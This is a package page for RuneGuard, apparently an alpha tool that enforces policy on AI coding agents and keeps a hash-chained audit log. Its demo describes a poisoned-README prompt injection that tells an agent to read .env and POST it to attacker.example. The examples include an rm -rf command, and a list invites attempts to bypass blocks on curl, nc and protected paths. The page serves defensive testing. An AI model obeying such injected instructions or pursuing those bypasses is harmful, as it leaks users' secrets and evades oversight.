Runtime enforcement layer for AI agents
Project description
RuneGuard
An independent runtime control layer for AI coding agents - govern what an agent is allowed to do, and keep a tamper-evident record of everything it did.
RuneGuard sits between AI coding agents (Claude Code, Cursor, Codex, or custom agents) and the systems they touch - files, shell commands, APIs, network - and enforces policy at the action layer, independent of any single agent or model vendor. Every decision is written to a hash-chained, tamper-evident audit log built for record-keeping obligations like EU AI Act Article 12.
pip install runeguard
runeguard demo
v1.1.0 is an early alpha. The policy engine, Docker sandbox, demo, and the tamper-evident audit layer are usable today; the Linux kernel paths (eBPF, Landlock, LD_PRELOAD shim) are experimental and platform-dependent. This README tries to claim only what the code actually does - if you find a place where it implies more, that's a bug worth an issue.
Why this exists
Coding agents can now read files, run commands, call APIs, and move data across system boundaries. A prompt-injected or misaligned agent can do real damage - read secrets, run destructive commands, exfiltrate data - and prompt-level guardrails can't stop it, because the model can still attempt the action.
The gap is between what the model says it will do and what the system actually lets it do. RuneGuard closes that gap at the action layer, not the prompt layer.
Not a plugin - a control layer
RuneGuard is deliberately not a guardrail bolted onto one IDE or model:
- Vendor-independent. Any agent whose tool calls or processes route through RuneGuard is governed by the same policy - not tied to a single agent vendor, and not something a single vendor will provide for every other vendor's agent.
- Enforced below the agent. Policy is checked at the action layer and, on Linux, at the process/syscall layer (Docker sandbox today; LD_PRELOAD shim, eBPF LSM, and Landlock experimentally) - places a per-tool feature doesn't reach.
- Audit as the durable surface. A verifiable, tamper-evident record of every allow/block decision, with retention and export - the part of the stack an agent vendor won't own on your behalf.
The audit & compliance layer
Every decision is wrapped in a hash-chained envelope, so editing, deleting, reordering, or truncating the log breaks verification.
runeguard audit verify # recompute the chain: OK, or TAMPER DETECTED at seq N
runeguard audit manifest # retention manifest across rotated segments
runeguard audit verify-retention # segment integrity + continuity + retention status
runeguard audit export --destination ./worm # WORM-style export of closed segments + receipts
An optional sealed mode (HMAC key kept off-host via RUNEGUARD_AUDIT_KEY /
RUNEGUARD_AUDIT_KEYFILE) means an attacker who can read or edit the log file
but does not hold the key cannot forge a valid continuation of the chain.
This is the record-keeping substrate for EU AI Act Article 12 obligations: logs generated automatically, retained, and independently verifiable. RuneGuard helps teams meet those obligations - it is not itself a regulated high-risk AI system, and "tamper-evident" means tampering is detectable, not impossible (see Security Boundary).
Who this is for
Developers and teams running coding agents in local devboxes, CI runners, ephemeral sandboxes, and internal automation environments.
Quickstart
pip install -e .
# Initialize a project policy and local state
runeguard init # creates runeguard.yaml, .runeguard/, .runeguard/audit.jsonl
runeguard doctor # environment and policy checks
runeguard init generates a Docker-backed policy that denies network by
default, keeps the root filesystem and workspace read-only, and grants writable
mounts only for ./src, ./tests, and ./tmp.
Run a command in the Docker sandbox (the practical default backend in v1.1.0):
runeguard run -- python -c "print('hello from guarded command')"
This mounts the workspace read-only at /workspace, runs as non-root, disables
networking by default, drops Linux capabilities, uses a read-only container
root, adds small tmpfs mounts for /tmp and /run, and applies memory/CPU/
process limits. Writable paths are opt-in through policy:
writable_paths:
- ".cache"
- "tmp/output"
Evaluate an action without executing it:
runeguard eval read_file --path .env
runeguard eval http_post --url https://attacker.example/upload
runeguard eval shell --command "rm -rf ./project"
Generate an audit report:
runeguard report .runeguard/audit.jsonl --html
Experimental Linux backends (require local build / kernel support / privileges):
runeguard shim build && runeguard run --backend host --preload -- python -c "open('.env').read()"
scripts/install_ebpf_deps.sh && runeguard ebpf trace
runeguard run --backend landlock -- python -c "open('README.md').read()"
Demo
The demo simulates a poisoned-README attack: an agent asked to summarize a repo
encounters hidden instructions telling it to read .env and POST it to an
external domain. RuneGuard blocks the unsafe actions.
[ALLOW] read_file({'path': 'examples/demo_repo/README.md'}) - allowed by policy
[BLOCK] read_file({'path': 'examples/demo_repo/.env'}) - protected path access
[BLOCK] http_post({'url': 'https://attacker.example/upload', ...}) - domain not allowlisted
[BLOCK] shell({'command': 'rm -rf ./project'}) - blocked shell command pattern
Current status
Working now
- YAML policy loading (
runeguard init, stable schema v1) runeguard runDocker sandbox runner (+ optional--backend hostwrapper)runeguard eval <tool>dry policy evaluation- File, shell, and network/domain policy with readable allow/block logs
- Hash-chained, tamper-evident JSONL audit logs with process correlation
runeguard audit verify/manifest/verify-retention/exportruneguard report --htmlaudit reports- Unix-socket policy daemon for process-level interception
- Optional OPA/Rego policy backend
- Agent integration helpers
- Poisoned-prompt demo
Experimental (Linux, kernel/privilege-dependent)
- LD_PRELOAD shim (bypassable by static binaries / direct syscalls)
- libbpf/CO-RE eBPF loader for
execve,openat,connect, and BPF LSM exec enforcement - Landlock filesystem sandbox backend
Planned
- Docker/Podman hardening
- Signed release artifacts
- Deeper eBPF policy-map enforcement beyond the current loader interface
- CI/devbox sandbox mode
Security boundary
Be precise about what each layer is and isn't:
- Policy/proxy modes are useful when agent tool calls route through RuneGuard, but cannot stop actions that avoid those routes. They are not a hard security boundary on their own.
- Docker sandbox is the practical default: a real process boundary with non-root execution, isolated filesystem view, network denial by default, and resource limits. Use this (or Landlock) for filesystem controls.
- LD_PRELOAD shim is experimental and bypassable by static binaries, direct syscalls, and processes that don't load the shim.
- Landlock is Linux-only, kernel-dependent, and experimental.
- eBPF can deny configured executable names via BPF LSM but depends on kernel BPF LSM support, local compilation, and host privileges. It is not the main filesystem enforcement layer.
Try to break it
This repo is ready for early breakage and feedback around the policy layer:
- path bypasses around
.env,secrets/,~/.ssh/, relative and nested paths - shell bypasses around blocked tokens (
rm -rf,curl,nc,scp) - URL/domain bypasses around subdomains, missing schemes, attacker hosts
- LD_PRELOAD bypasses on Linux (static binaries, direct syscalls, alt libc)
- daemon behavior with
RUNEGUARD_FAIL_CLOSED=0vs default fail-closed - audit log entries that leak data that should be redacted
- any place the README implies stronger security than the code provides
Vision
A real boundary between agent intent and system truth - what the model says it will do versus what the system observes and allows - enforced across every agent, with a record you can prove.
License
See LICENSE.
Project details
Download files
Download the file for your platform. If you're not sure which to choose, learn more about installing packages.
Source Distribution
Built Distribution
Filter files by name, interpreter, ABI, and platform.
If you're not sure about the file name format, learn more about wheel file names.
Copy a direct link to the current filters
File details
Details for the file runeguard-1.1.1.tar.gz.
File metadata
- Download URL: runeguard-1.1.1.tar.gz
- Upload date:
- Size: 91.8 kB
- Tags: Source
- Uploaded using Trusted Publishing? No
- Uploaded via: twine/6.2.0 CPython/3.13.5
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
f0a76200518eb013ac097bd49ea42a10d8e1d2acb7b952a4b670ad8460afe005
|
|
| MD5 |
799747f318b5013568b011b6313ca7c2
|
|
| BLAKE2b-256 |
b85eb835697dd926bf19ee597aa26f2b67607f56726bade9d823d7ed44244125
|
File details
Details for the file runeguard-1.1.1-py3-none-any.whl.
File metadata
- Download URL: runeguard-1.1.1-py3-none-any.whl
- Upload date:
- Size: 77.7 kB
- Tags: Python 3
- Uploaded using Trusted Publishing? No
- Uploaded via: twine/6.2.0 CPython/3.13.5
File hashes
| Algorithm | Hash digest | |
|---|---|---|
| SHA256 |
63172f01c922c498ce2624973f0315a14424534470f5fbcddba27158a592665b
|
|
| MD5 |
53561e0926743174deae44ca49e31d7b
|
|
| BLAKE2b-256 |
08b7c2dda36c053c7fdf76d8fdef27a559e90adc180dc449ae2befeb2e741413
|